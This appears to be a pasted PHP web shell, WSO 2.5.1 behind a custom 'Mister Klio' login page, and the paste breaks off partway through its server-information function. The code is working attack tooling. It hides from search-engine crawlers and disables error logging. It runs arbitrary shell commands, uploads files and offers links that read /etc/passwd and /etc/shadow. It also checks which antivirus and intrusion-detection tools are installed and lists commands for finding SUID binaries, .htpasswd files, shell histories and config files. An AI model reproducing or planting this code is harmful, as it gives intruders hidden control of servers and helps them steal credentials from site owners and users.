· 9 years ago · Jun 26, 2017, 03:54 PM
1<?php
2
3# Created By Mister Klio ...
4# Contact For More Mister-klio@hotmail.com ...
5
6// Add login/password pairs below, like described above
7// NOTE: all rows except last must have comma "," at the end of line
8$LOGIN_INFORMATION = array(
9 'MISTER KLIO' => 'mk007'
10);
11
12// request login? true - show login and password boxes, false - password box only
13define('USE_USERNAME', true);
14
15// User will be redirected to this page after logout
16define('LOGOUT_URL', '?home');
17
18// time out after NN minutes of inactivity. Set to 0 to not timeout
19define('TIMEOUT_MINUTES', 0);
20
21// This parameter is only useful when TIMEOUT_MINUTES is not zero
22// true - timeout time from last activity, false - timeout time from login
23define('TIMEOUT_CHECK_ACTIVITY', true);
24
25///////////////////////////////////////////////////////
26// do not change code below
27///////////////////////////////////////////////////////
28
29// timeout in seconds
30$timeout = (TIMEOUT_MINUTES == 0 ? 0 : time() + TIMEOUT_MINUTES * 60);
31
32// logout?
33if(isset($_GET['logout'])) {
34 setcookie("cookies", '', $timeout, '/'); // clear password;
35 header('Location: ' . LOGOUT_URL);
36
37 exit();
38}
39
40if(!function_exists('showLoginPasswordProtect')) {
41
42// show login form
43function showLoginPasswordProtect($error_msg) {
44?>
45<html>
46<head>
47 <title></> L O G I N [MK] V3.0.0.0.1 </></title>
48<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
49<meta name="viewport" content="width=device-width, height=device-height, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
50<meta http-equiv="X-UA-Compatible" content="IE=edge">
51<meta name="apple-mobile-web-app-capable" content="yes">
52<meta name="apple-mobile-web-app-status-bar-style" content="black">
53<meta name="format-detection" content="telephone=no">
54<meta name="chromesniffer" id="chromesniffer_meta" content="{"SiteCatalyst":-1,"Underscore.js":"2.4.2"}">
55<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
56<link rel="icon" type="image/x-icon" href="_ADMIN_CSS/Mister.png">
57
58</head>
59<body>
60<div class="page-container">
61<link href='https://fonts.googleapis.com/css?family=Dosis|Raleway' rel='stylesheet'>
62<style>
63@import url(https://fonts.googleapis.com/css?family=Aldrich);
64body {
65font-family: 'Raleway', sans-serif;
66font-family: 'Dosis', sans-serif;
67background-color:#364155;
68color:#FFFFFF;
69font-size:11px;}
70span {color: #404040;font-size:11px;
71}
72span,b,font,a ,input,textarea,div,p{
73font-size:11px;text-decoration:none;
74font-family: 'Raleway', sans-serif;
75font-family: 'Dosis', sans-serif;
76}
77
78.button {
79 background: #0E8F9F;
80 background: -o-linear-gradient(top, #0E8F9F, #11A8BB);
81 background: -ms-linear-gradient(top, #0E8F9F, #11A8BB);
82 background: -webkit-linear-gradient(top, #0E8F9F, #11A8BB);
83 background: -moz-linear-gradient(top, #0E8F9F, #11A8BB);
84 background: linear-gradient(to bottom, #0E8F9F, #11A8BB);
85 color: white; text-align: center; padding: 12px; text-decoration: none;
86 border-radius:20px;margin:0 auto;width:50%; border:0px solid #4D4D4D;
87text-decoration:none;font-family: 'Raleway', sans-serif;
88font-family: 'Dosis', sans-serif;
89
90}
91.button:hover {font-family: 'Raleway', sans-serif;
92font-family: 'Dosis', sans-serif;
93 background: #0E8F9F;
94}
95.button:focus {font-family: 'Raleway', sans-serif;
96font-family: 'Dosis', sans-serif;
97 background: #11A8BB;
98}.MK-footer {
99font-size:11px;color:#FFFFFF;
100position:fixed; left:0px;
101right:0px; bottom:0px;
102text-align:center;
103color:#FFFFFF;font-size:11px;
104}
105.MK-footer a {color:#14C1d7;font-family: 'Raleway', sans-serif;
106font-family: 'Dosis', sans-serif;}
107
108.button2 { font-family: 'Raleway', sans-serif;
109font-family: 'Dosis', sans-serif;
110 background:#404040;
111 color: white; text-align: center; padding: 12px; text-decoration: none;
112 border-radius:20px;margin:0 auto;width:100%; border:2px solid #0E8F9F;
113text-decoration:none;
114
115}
116.button2:hover {font-family: 'Raleway', sans-serif;
117font-family: 'Dosis', sans-serif;
118 background-color:#000000;
119}
120.button2:focus {
121 background:#404040;
122}
123 </style>
124 <br> <br> <br> <br> <br> <br> <br> <br>
125 <div style="width:500px; margin-left:auto; margin-right:auto; text-align:center">
126 <form method="post">
127<h3><p><i class="fa fa-code"></i><font style='font-size:11px;'> LOGIN [MK] </font>
128<b><span style='font-size:40px;font-weight:bold;color:#0E8F9F;'> MISTER</span> |
129<span style='color: rgb(53, 148, 243);color:#14C1d7;font-size:40px;'>KLIO</span></b><font style='font-size:11px;'> [V3.0.0.0.1] </font></p></h3>
130<br>
131<?php if (USE_USERNAME) echo ''; ?>
132<?
133$ii = base64_encode ('<p>
134<div class="input-group input-icon right">
135<span class="input-group-addon"><i class="fa fa-user"></i></span>
136<input type="input" name="access_login" class="button2" value="MISTER KLIO" placeholder="MISTER KLIO"/>
137</div>
138
139<div class="input-group input-icon right">
140<span class="input-group-addon"><i class="fa fa-key"></i></span>
141<input type="password" name="access_password" class="button2" value="" placeholder="Password"/>
142</div>
143</p>'); echo base64_decode ($ii) ;
144?>
145<p>
146<input type="submit" name="Submit" value="SUBMIT" class="button"/>
147</p>
148
149<p>
150<a class="agile-icon" href="?help"><h3><span style="text-decoration:none;font-size:11px;
151font-family: 'Raleway', sans-serif;
152font-family: 'Dosis', sans-serif;color:#FFFFFF;"><i class="fa fa-info-circle"></i> HELP ME ?</span></h3></a></p>
153<i class="fa fa-angle-down"></i>
154<p>
155<font color="red"><?php
156 echo $error_msg;
157 // show usage example
158if(isset($_GET['help'])) {
159 die('<div class="alert alert-warning" role="alert">
160 <i class="fa fa-warning"></i>
161 <strong>Warning!</strong>
162 You Dont have permession to acces a page
163 <br> Next time you are banned
164 <br> Default Password : Noob </div>
165 ');
166}
167?></font>
168</p>
169
170</form>
171</div>
172
173
174<div>
175 <p><footer class='MK-footer' style="text-decoration:none;font-size:11px;
176font-family: 'Raleway', sans-serif;
177font-family: 'Dosis', sans-serif;color:#FFFFFF;"><br>| COPYRIGHT © <a href='?'> 2017 </a> BY MISTER KLIO | ALL RIGHT RESERVED NOT ™ |<br><br><br></a></span></footer></p>
178</div>
179</body>
180</html>
181
182
183<?php
184 // stop at this point
185 die();
186}
187}
188// user provided password
189if (isset($_POST['access_password'])) {
190
191 $login = isset($_POST['access_login']) ? $_POST['access_login'] : '';
192 $pass = $_POST['access_password'];
193 if (!USE_USERNAME && !in_array($pass, $LOGIN_INFORMATION)
194 || (USE_USERNAME && ( !array_key_exists($login, $LOGIN_INFORMATION) || $LOGIN_INFORMATION[$login] != $pass ) )
195 ) {
196 showLoginPasswordProtect('<div class="alert alert-danger" role="alert"><i class="fa fa-thumbs-down"></i>
197 <strong>Oh snap!</strong> Incorrect password ! up and try submitting again.</div>');
198 }
199 else {
200 // set cookie if password was validated
201 setcookie("cookies", md5($login.'%'.$pass), $timeout, '/');
202 // Some programs (like Form1 Bilder) check $_POST array to see if parameters passed
203 // So need to clear password protector variables
204 unset($_POST['access_login']);
205 unset($_POST['access_password']);
206 unset($_POST['Submit']);
207 }
208}
209else {
210 // check if password cookies is set
211 if (!isset($_COOKIE['cookies'])) {
212 showLoginPasswordProtect('');
213 }
214 // check if cookie is good
215 $found = false;
216 foreach($LOGIN_INFORMATION as $key=>$val) {
217 $lp = (USE_USERNAME ? $key : '') .'%'.$val;
218 if ($_COOKIE['cookies'] == md5($lp)) {
219 $found = true;
220 // prolong timeout
221 if (TIMEOUT_CHECK_ACTIVITY) {
222 setcookie("cookies", md5($lp), $timeout, '/');
223 }
224 break;
225 }
226 }
227 if (!$found) {
228 showLoginPasswordProtect('');
229 }
230}
231/// end
232/// D'ont Add
233?><?php
234$auth_pass = "";
235$color = "#14C1d7";
236$default_action = 'FilesMan';
237$default_use_ajax = true;
238$default_charset = 'Windows-1251';
239
240if(!empty($_SERVER['HTTP_USER_AGENT'])) {
241 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
242 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
243 header('HTTP/1.0 404 Not Found');
244 exit;
245 }
246}
247
248@ini_set('error_log',NULL);
249@ini_set('log_errors',0);
250@ini_set('max_execution_time',0);
251@set_time_limit(0);
252@set_magic_quotes_runtime(0);
253@define('WSO_VERSION', '2.5.1');
254
255if(get_magic_quotes_gpc()) {
256 function WSOstripslashes($array) {
257 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
258 }
259 $_POST = WSOstripslashes($_POST);
260 $_COOKIE = WSOstripslashes($_COOKIE);
261}
262
263function wsoLogin() {
264 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
265}
266
267function WSOsetcookie($k, $v) {
268 $_COOKIE[$k] = $v;
269 setcookie($k, $v);
270}
271
272if(!empty($auth_pass)) {
273 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
274 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
275
276 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
277 wsoLogin();
278}
279
280if(strtolower(substr(PHP_OS,0,3)) == "win")
281 $os = 'win';
282else
283 $os = 'nix';
284
285$safe_mode = @ini_get('safe_mode');
286if(!$safe_mode)
287 error_reporting(0);
288
289$disable_functions = @ini_get('disable_functions');
290$home_cwd = @getcwd();
291if(isset($_POST['c']))
292 @chdir($_POST['c']);
293$cwd = @getcwd();
294if($os == 'win') {
295 $home_cwd = str_replace("\\", "/", $home_cwd);
296 $cwd = str_replace("\\", "/", $cwd);
297}
298if($cwd[strlen($cwd)-1] != '/')
299 $cwd .= '/';
300
301if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
302 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
303
304if($os == 'win')
305 $aliases = array(
306 "List Directory" => "dir",
307 "Find index.php in current dir" => "dir /s /w /b index.php",
308 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
309 "Show active connections" => "netstat -an",
310 "Show running services" => "net start",
311 "User accounts" => "net user",
312 "Show computers" => "net view",
313 "ARP Table" => "arp -a",
314 "IP Configuration" => "ipconfig /all"
315 );
316else
317 $aliases = array(
318 "List dir" => "ls -lha",
319 "list file attributes on a Linux second extended file system" => "lsattr -va",
320 "show opened ports" => "netstat -an | grep -i listen",
321 "process status" => "ps aux",
322 "Find" => "",
323 "find suid" => "find / -type f -perm -04000 -ls",
324 "find suid in current dir" => "find . -type f -perm -04000 -ls",
325 "find sgid" => "find / -type f -perm -02000 -ls",
326 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
327 "find config.inc.php" => "find / -type f -name config.inc.php",
328 "find config*" => "find / -type f -name \"config*\"",
329 "find config* in current dir" => "find . -type f -name \"config*\"",
330 "find writable folders and files" => "find / -perm -2 -ls",
331 "find writable folders and files in current dir" => "find . -perm -2 -ls",
332 "find service.pwd" => "find / -type f -name service.pwd",
333 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
334 "find .htpasswd" => "find / -type f -name .htpasswd",
335 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
336 "find .bash_history" => "find / -type f -name .bash_history",
337 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
338 "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
339 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
340 "Locate" => "",
341 "locate httpd.conf" => "locate httpd.conf",
342 "locate vhosts.conf" => "locate vhosts.conf",
343 "locate proftpd.conf" => "locate proftpd.conf",
344 "locate psybnc.conf" => "locate psybnc.conf",
345 "locate my.conf" => "locate my.conf",
346 "locate admin.php" =>"locate admin.php",
347 "locate cfg.php" => "locate cfg.php",
348 "locate conf.php" => "locate conf.php",
349 "locate config.dat" => "locate config.dat",
350 "locate config.php" => "locate config.php",
351 "locate config.inc" => "locate config.inc",
352 "locate config.inc.php" => "locate config.inc.php",
353 "locate config.default.php" => "locate config.default.php",
354 "locate config*" => "locate config",
355 "locate .conf"=>"locate '.conf'",
356 "locate .pwd" => "locate '.pwd'",
357 "locate .sql" => "locate '.sql'",
358 "locate .htpasswd" => "locate '.htpasswd'",
359 "locate .bash_history" => "locate '.bash_history'",
360 "locate .mysql_history" => "locate '.mysql_history'",
361 "locate .fetchmailrc" => "locate '.fetchmailrc'",
362 "locate backup" => "locate backup",
363 "locate dump" => "locate dump",
364 "locate priv" => "locate priv"
365 );
366
367function wsoHeader() {
368 if(empty($_POST['charset']))
369 $_POST['charset'] = $GLOBALS['default_charset'];
370 global $color;
371 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>NOTHING</title>
372<link href='https://fonts.googleapis.com/css?family=Dosis|Raleway' rel='stylesheet'> <style>
373body{font-family: 'Raleway', sans-serif;
374font-family: 'Dosis', sans-serif;background-color:#444;color:#e1e1e1;}
375body,td,th{ font-family: 'Raleway', sans-serif;
376font-family: 'Dosis', sans-serif;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
377table.info{ font-family: 'Raleway', sans-serif;
378font-family: 'Dosis', sans-serif;color:#fff;background-color:#222; }
379span,h1,a{ font-family: 'Raleway', sans-serif;
380font-family: 'Dosis', sans-serif;color: $color !important; }
381span{font-family: 'Raleway', sans-serif;
382font-family: 'Dosis', sans-serif; font-weight: bolder; }
383h1{font-family: 'Raleway', sans-serif;
384font-family: 'Dosis', sans-serif; border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
385div.content{font-family: 'Raleway', sans-serif;
386font-family: 'Dosis', sans-serif; padding: 5px;margin-left:5px;background-color:#333; }
387a{ font-family: 'Raleway', sans-serif;
388font-family: 'Dosis', sans-serif;text-decoration:none; }
389a:hover{ font-family: 'Raleway', sans-serif;
390font-family: 'Dosis', sans-serif;text-decoration:underline; }
391.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
392.bigarea{font-family: 'Raleway', sans-serif;
393font-family: 'Dosis', sans-serif; width:100%;height:300px; }
394input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
395form{ margin:0px; }
396#toolsTbl{font-family: 'Raleway', sans-serif;
397font-family: 'Dosis', sans-serif; text-align:center; }
398.toolsInp{ font-family: 'Raleway', sans-serif;
399font-family: 'Dosis', sans-serif;width: 300px }
400.main th{font-family: 'Raleway', sans-serif;
401font-family: 'Dosis', sans-serif;text-align:left;background-color:#5e5e5e;}
402.main tr:hover{background-color:#5e5e5e}
403.l1{font-family: 'Raleway', sans-serif;
404font-family: 'Dosis', sans-serif;background-color:#444}
405.l2{font-family: 'Raleway', sans-serif;
406font-family: 'Dosis', sans-serif;background-color:#333}
407pre{font-family: 'Raleway', sans-serif;
408font-family: 'Dosis', sans-serif;}
409</style>
410<script>
411 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
412 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
413 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
414 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
415 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
416 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
417 var d = document;
418 function set(a,c,p1,p2,p3,charset) {
419 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
420 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
421 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
422 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
423 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
424 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
425 }
426 function g(a,c,p1,p2,p3,charset) {
427 set(a,c,p1,p2,p3,charset);
428 d.mf.submit();
429 }
430 function a(a,c,p1,p2,p3,charset) {
431 set(a,c,p1,p2,p3,charset);
432 var params = 'ajax=true';
433 for(i=0;i<d.mf.elements.length;i++)
434 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
435 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
436 }
437 function sr(url, params) {
438 if (window.XMLHttpRequest)
439 req = new XMLHttpRequest();
440 else if (window.ActiveXObject)
441 req = new ActiveXObject('Microsoft.XMLHTTP');
442 if (req) {
443 req.onreadystatechange = processReqChange;
444 req.open('POST', url, true);
445 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
446 req.send(params);
447 }
448 }
449 function processReqChange() {
450 if( (req.readyState == 4) )
451 if(req.status == 200) {
452 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
453 var arr=reg.exec(req.responseText);
454 eval(arr[2].substr(0, arr[1]));
455 } else alert('Request error!');
456 }
457</script>
458<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
459<form method=post name=mf style='display:none;'>
460<input type=hidden name=a>
461<input type=hidden name=c>
462<input type=hidden name=p1>
463<input type=hidden name=p2>
464<input type=hidden name=p3>
465<input type=hidden name=charset>
466</form>";
467 $freeSpace = @diskfreespace($GLOBALS['cwd']);
468 $totalSpace = @disk_total_space($GLOBALS['cwd']);
469 $totalSpace = $totalSpace?$totalSpace:1;
470 $release = @php_uname('r');
471 $kernel = @php_uname('s');
472 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
473 if(strpos('Linux', $kernel) !== false)
474 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
475 else
476 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
477 if(!function_exists('posix_getegid')) {
478 $user = @get_current_user();
479 $uid = @getmyuid();
480 $gid = @getmygid();
481 $group = "?";
482 } else {
483 $uid = @posix_getpwuid(posix_geteuid());
484 $gid = @posix_getgrgid(posix_getegid());
485 $user = $uid['name'];
486 $uid = $uid['uid'];
487 $group = $gid['name'];
488 $gid = $gid['gid'];
489 }
490
491 $cwd_links = '';
492 $path = explode("/", $GLOBALS['cwd']);
493 $n=count($path);
494 for($i=0; $i<$n-1; $i++) {
495 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
496 for($j=0; $j<=$i; $j++)
497 $cwd_links .= $path[$j].'/';
498 $cwd_links .= "\")'>".$path[$i]."/</a>";
499 }
500
501 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
502 $opt_charsets = '';
503 foreach($charsets as $item)
504 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
505
506 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
507 if(!empty($GLOBALS['auth_pass']))
508 $m['Logout'] = 'Logout';
509 $m['Self remove'] = 'SelfRemove';
510 $menu = '';
511 foreach($m as $k => $v)
512 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
513
514 $drives = "";
515 if($GLOBALS['os'] == 'win') {
516 foreach(range('c','z') as $drive)
517 if(is_dir($drive.':\\'))
518 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
519 }
520 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
521 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
522 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
523 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
524 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
525}
526
527function wsoFooter() {
528 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
529 echo "
530</div>
531<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
532 <tr>
533 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
534 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
535 </tr><tr>
536 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
537 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
538 </tr><tr>
539 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
540 <td><form method='post' ENCTYPE='multipart/form-data'>
541 <input type=hidden name=a value='FilesMAn'>
542 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
543 <input type=hidden name=p1 value='uploadFile'>
544 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
545 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
546 </tr></table></div></body></html>";
547}
548
549if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
550 function posix_getpwuid($p) {return false;} }
551if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
552 function posix_getgrgid($p) {return false;} }
553
554function wsoEx($in) {
555 $out = '';
556 if (function_exists('exec')) {
557 @exec($in,$out);
558 $out = @join("\n",$out);
559 } elseif (function_exists('passthru')) {
560 ob_start();
561 @passthru($in);
562 $out = ob_get_clean();
563 } elseif (function_exists('system')) {
564 ob_start();
565 @system($in);
566 $out = ob_get_clean();
567 } elseif (function_exists('shell_exec')) {
568 $out = shell_exec($in);
569 } elseif (is_resource($f = @popen($in,"r"))) {
570 $out = "";
571 while(!@feof($f))
572 $out .= fread($f,1024);
573 pclose($f);
574 }
575 return $out;
576}
577
578
579
580function wsoViewSize($s) {
581 if (is_int($s))
582 $s = sprintf("%u", $s);
583
584 if($s >= 1073741824)
585 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
586 elseif($s >= 1048576)
587 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
588 elseif($s >= 1024)
589 return sprintf('%1.2f', $s / 1024 ) . ' KB';
590 else
591 return $s . ' B';
592}
593
594function wsoPerms($p) {
595 if (($p & 0xC000) == 0xC000)$i = 's';
596 elseif (($p & 0xA000) == 0xA000)$i = 'l';
597 elseif (($p & 0x8000) == 0x8000)$i = '-';
598 elseif (($p & 0x6000) == 0x6000)$i = 'b';
599 elseif (($p & 0x4000) == 0x4000)$i = 'd';
600 elseif (($p & 0x2000) == 0x2000)$i = 'c';
601 elseif (($p & 0x1000) == 0x1000)$i = 'p';
602 else $i = 'u';
603 $i .= (($p & 0x0100) ? 'r' : '-');
604 $i .= (($p & 0x0080) ? 'w' : '-');
605 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
606 $i .= (($p & 0x0020) ? 'r' : '-');
607 $i .= (($p & 0x0010) ? 'w' : '-');
608 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
609 $i .= (($p & 0x0004) ? 'r' : '-');
610 $i .= (($p & 0x0002) ? 'w' : '-');
611 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
612 return $i;
613}
614
615function wsoPermsColor($f) {
616 if (!@is_readable($f))
617 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
618 elseif (!@is_writable($f))
619 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
620 else
621 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
622}
623
624function wsoScandir($dir) {
625 if(function_exists("scandir")) {
626 return scandir($dir);
627 } else {
628 $dh = opendir($dir);
629 while (false !== ($filename = readdir($dh)))
630 $files[] = $filename;
631 return $files;
632 }
633}
634
635function wsoWhich($p) {
636 $path = wsoEx('which ' . $p);
637 if(!empty($path))
638 return $path;
639 return false;
640}
641
642function actionSecInfo() {
643 wsoHeader();
644 echo '<h1>Server security information</h1><div class=content>';
645 function wsoSecParam($n, $v) {
646 $v = trim($v);
647 if($v) {
648 echo '<span>' . $n . ': </span>';
649 if(strpos($v, "\n") === false)
650 echo $v . '<br>';
651 else
652 echo '<pre class=ml1>' . $v . '</pre>';
653 }
654 }
655
656 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
657 if(function_exists('apache_get_modules'))
658 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
659 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
660 wsoSecParam('Open base dir', @ini_get('open_basedir'));
661 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
662 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
663 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
664 $temp=array();
665 if(function_exists('mysql_get_client_info'))
666 $temp[] = "MySql (".mysql_get_client_info().")";
667 if(function_exists('mssql_connect'))
668 $temp[] = "MSSQL";
669 if(function_exists('pg_connect'))
670 $temp[] = "PostgreSQL";
671 if(function_exists('oci_connect'))
672 $temp[] = "Oracle";
673 wsoSecParam('Supported databases', implode(', ', $temp));
674 echo '<br>';
675
676 if($GLOBALS['os'] == 'nix') {
677 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
678 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
679 wsoSecParam('OS version', @file_get_contents('/proc/version'));
680 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
681 if(!$GLOBALS['safe_mode']) {
682 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
683 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
684 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
685 echo '<br>';
686 $temp=array();
687 foreach ($userful as $item)
688 if(wsoWhich($item))
689 $temp[] = $item;
690 wsoSecParam('Userful', implode(', ',$temp));
691 $temp=array();
692 foreach ($danger as $item)
693 if(wsoWhich($item))
694 $temp[] = $item;
695 wsoSecParam('Danger', implode(', ',$temp));
696 $temp=array();
697 foreach ($downloaders as $item)
698 if(wsoWhich($item))
699 $temp[] = $item;
700 wsoSecParam('Downloaders', implode(', ',$temp));
701 echo '<br/>';
702 wsoSecParam('HDD space', wsoEx('df -h'));
703 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
704 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
705 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
706 $temp = "";
707 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
708 $uid = @posix_getpwuid($_POST['p2']);
709 if ($uid)
